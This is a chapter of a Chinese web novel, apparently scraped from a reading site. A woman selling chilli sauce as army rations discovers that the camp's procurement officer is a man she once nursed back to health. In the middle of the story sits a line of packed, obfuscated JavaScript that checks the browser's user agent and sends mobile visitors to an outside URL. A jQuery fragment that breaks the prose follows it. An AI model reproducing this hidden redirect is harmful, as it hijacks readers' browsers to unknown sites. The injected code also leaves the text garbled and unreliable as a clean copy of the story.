姜宁带着青云拎着辣椒酱来卫家军军营求见常总管。
军营被高高的围墙围住,围墙上插满防止人攀爬的尖木头,不远处有披甲的哨兵在高台站岗。正门口两侧厚重的木门上钉满铜钉,两侧鎏金旗子随风舞动,上面写着“卫”字,看上去十分威严。
姜宁站在那有一种说不出的压迫感,以前只是拍戏的时候见过这样的场景,但跟之前的阵仗比起来着实是小巫见大巫了。
拿着长戟的值守小兵,远远地瞧见往这边走的两个女人,长戟指过去直接驱赶。
“军营重地,闲杂人等不得靠近。”
姜宁抬了抬手里的辣椒罐,喊道:“守卫小哥,是常总管约我过来的。”
闻言,小兵朝她摆了摆手。
见小兵的态度,姜宁舒了口气,知道王管事没有骗她,便领着青云继续往军营大门走。青云虽然以前在宫里待过,但没有见过这阵仗。走路的时候腿都在发软,声音也有些发颤:“小姐,我有点害怕,这些当兵的杀人不眨眼,你说那个常总管会不会一言不合就砍了我们脑袋。”
本来还有些紧张的姜宁听青云这么一问,噗嗤一声笑出了声,紧张的情绪都得以缓解。
“你当他们是杀人狂魔呀!一言不合就杀人。士兵也是有法度的,不会随便乱杀无辜把心放肚子里吧!”
虽是这么说,青云还是吓吓唧唧地跟在姜宁后面。姜宁的紧张和青云的害怕不是一种,姜宁担心的是和常总管的买卖谈不成,毕竟这不是商谈,涉及的太多。
两人很快走到军营口,守卫小兵在看清姜宁脸时,正愣了一瞬。
眼前的女子实在太美了。一身素衣,未施粉黛都可以美得天上有,地上无。小兵哪见过这样的美人,眨巴眨巴眼睛,压着心头的激动。
“姑娘请随我来,常总管在营帐中等着姑娘。”
姜宁闻点点头,跟在小兵的后面。
途中与几个小兵擦身而过,瞥见姜宁容貌,几人眼睛都亮了,带着羡慕又嫉妒的眼神,频频给领姜宁的小兵使眼色。
这姑娘是谁?
那小兵也眨巴一下眼睛,继续带姜宁往前走。几个小兵显然是没领会那小兵眼神中的各中意思,值得频频回头偷看,心中不免有些纳闷。
军营这地儿鲜少有女子出现,更何况是这般美貌的女子。待姜宁走远后,几人开始交头接耳。
“这姑娘长得可真好看,你们知道是谁吗?”
“不知道!不过看去的方向好像是将军的营帐。”
听到将军营帐,几个人惊的下巴都要掉下来了。其中一小兵兀自揣测:“我猜是卫老夫人给咱们将军相看的姑娘。”
军营的人都知道卫老夫人想让将军成亲,都快想疯了。在都城时,光是给他相看的姑娘就不下十个,人来北境都不放过。
一个小兵思忖一下,反驳道:“我觉得不像是给将军相看的姑娘。”说着给大家分析,“要是相看的姑娘还不得给自己打扮得花枝招展。你看刚刚的姑娘,一身素衣,头上连个像样的头饰都没有。”
另一个小兵似想到什么,说道:“今儿我路过将军营帐听了一嘴,说卖辣椒酱的姜老板会来,你说这女子会不会就是那姜老板。”
这个观点大家都很认同,毕竟刚刚的女子虽一身素衣,但容貌过于惊艳。
按照擦测的答案几个小兵讨论上了。
其中一名小兵疑惑:“你说那个姜老板要是谈军粮的为什么去将军的营帐?”
另一个小兵附和:“对呀对呀!平时军粮这事平日里不是袁副将负责吗?这次怎的咱们将军亲自谈?”
另一个觉得自己聪明的小兵,立刻眉毛乱飞,邪笑道:“这你们都不懂,傻子。”
闻言,剩下的几名小哥“哦”了一声,立刻会意这其中含义,随即哈哈大笑。几个人笑得太过忘形,没留意身后双手环臂,眼神悠悠落在几人身上的袁斌。
袁斌也不说话就默默的站在几人身后,他倒要看看这几个小兵到底什么时候能看到他。
几个人正蛐蛐的开心,一个小兵抬头正对上袁斌那似笑非笑的眼睛,吓的立刻收了笑,怯生生的喊了句:“袁...袁副将。”
另外几个小兵闻言,笑容僵在脸上,随即慢半拍的转过身看向袁斌。
袁斌抬起手在几个人脑袋挨个拍了一下,呵斥道:“你们胆子肥了,竟然敢编排起将军了。是觉得自己的脑袋在身上呆的久了,想换个地方?”
“不敢不敢。”几人赶紧摆手,下意识护住自己的脖子,好像下一秒它们便会分家。
袁斌虽是个副将,但是个柔性子的,到过多责备几人,训斥几句便让他们走了。临走时一个小兵,小声又八卦的问了句:“袁副总,给透露透露咱们将军跟那个姑娘是什么情况呗?”
袁斌又抬手拍了一下问话小兵的脑袋:“不该操心的事别瞎操心,小心你的脑袋。”
那小兵捂着自己脑袋,嘿嘿一笑跑了。
人天生都有八卦心里,更何况常年无聊带在军营的这些小兵。所以袁斌平日并不过多苛责下属。因此小兵们也不是特别怕他。袁斌的为人和善在军中是出了名的,不但经常和士兵们打成一片,还会在一些士兵有困难的时候伸出援手,在军营中口碑极好。
但其实是,军营苦,卫长戈体念这些小兵不容易,又怕太过仁慈这些士兵不好管,故他与袁斌达成共识,袁斌扮红脸,他扮白脸。
*
姜宁被小兵领到一个看上去有点不太一样的营帐前,小兵拉开帐帘,恭敬道:“姜老板请进,常总管就在营帐内。”
姜宁到了谢,带着青云迈步而入。一进营帐内就见一个身着官服,身材高大挺拔的男子背对着接姜宁二人。
姜宁眯了眯眼,只觉得这背影有些熟悉,但并未多想,双手抱拳行了个礼:“民女姜宁拜见常大人。”
闻言,男人慢慢转过身,当那张英气逼人的脸出现在姜宁眼前,她当场愣在原地,手中抱着的辣椒酱罐子差一点就摔倒地上。幸好被眼疾手快的卫长戈接住。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17685582|207130||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他语气闲闲:“姜老板可要当心,这来谈声音的东西要是碎了,买卖可就谈不成了。”
姜宁瞪大眼睛,不可思议的问,“长...歌?你怎么在这?那个常...”
话说道一半,忽然明白什么,问:“你就是常总管?”
卫长戈点点头。
还愣在一旁,嘴张的快掉到地上的青云,后知后觉喊了句:“长大哥?!”
姜宁没想到时隔三个月,二人见面竟然是在这样的场景下,更没想到她曾经救下的人竟然是卫家军负责采买的常总管。
卫长戈向她比了个请的手势,示意她坐下,口气公事公办道:“听说,今日姜老板来是谈军粮合作的?”
他这语气就好像两个人根本不熟一样,曾经朝夕相处的几个月不管是姜宁的环境。她心里嗤笑一声,觉得自己救了一个白眼狼。现在有种想起身抽他俩嘴巴子,再对他说“你给老娘装”什么装的冲动。
但这个想法很快被她掐灭。人在屋檐下,还是要学会低头,更何况她这次是来谈合作的,总不能合作没谈先把脸撕破吧!这样不就白白将辣椒酱方子送给王管事了吗?
这种纯赔本的买卖她可不干。
姜宁用了几秒时间,快速完成情绪修复。再抬起头,脸上挂着标准的微笑:“常大人是都城人,对北境的气候不慎了解。”她就好似眼前男人从来没来过北境不了解北境气候一样,认真介绍:“北境这地方八月后天气便会转凉,十月便已入冬。冬日严寒难耐,我这辣椒酱可以驱寒祛湿,而且非常易储存。在寒冷的冬日配上热乎乎的馒头吃上一些,既美味又御寒。时绝佳的御寒实物,做军用最适合不过。”说完,见卫长戈那张永远看不出情绪的脸,不咸不淡来了句,“关于辣椒,我想大人多少是了解的。”
这个说的无疑是在点卫长戈。就差把话挑明了“你丫是我用辣椒治好的寒症,你能不知道辣椒怎么样吗?”
卫长戈轻挑一下俊眉,不置可否的笑笑,随后指着姜宁桌子上的点心道:“这是都城带过来的凤梨酥,姜老板尝尝。”
青云在一边不解了,她们是来谈合作的,谁在乎你的凤梨酥好不好吃。
但姜宁闻言,低头看看自己旁边桌子上放着的精致点心,心里有些小小动容。她曾跟卫长戈念叨过,自己喜欢吃凤梨酥,只可惜北境这边卖的凤梨酥又干又硬,馅也不好吃,她十分想念家乡的凤梨酥。
在现代的时候,奶奶经常会给姜宁买薛记的凤梨酥。外皮酥软,馅料十足,十分美味。
姜宁一只手拿起一块凤梨酥,另一只手拖着怕点心渣子掉落。她轻轻咬了一口,饼皮酥软,慢慢化开,凤梨的味道充斥着整个口腔。这味道和奶奶买的凤梨酥味道很像,姜宁眼眶倏地一下红了。
她低下头,将眼中即将溢出的湿意憋了回去。抬起头对坐在主位的男人道谢:“谢谢,常大人。”
卫长戈没有说话,他又怎么不知姜宁此刻的心情,她这是想家了。
她不止一次说想家,想回家。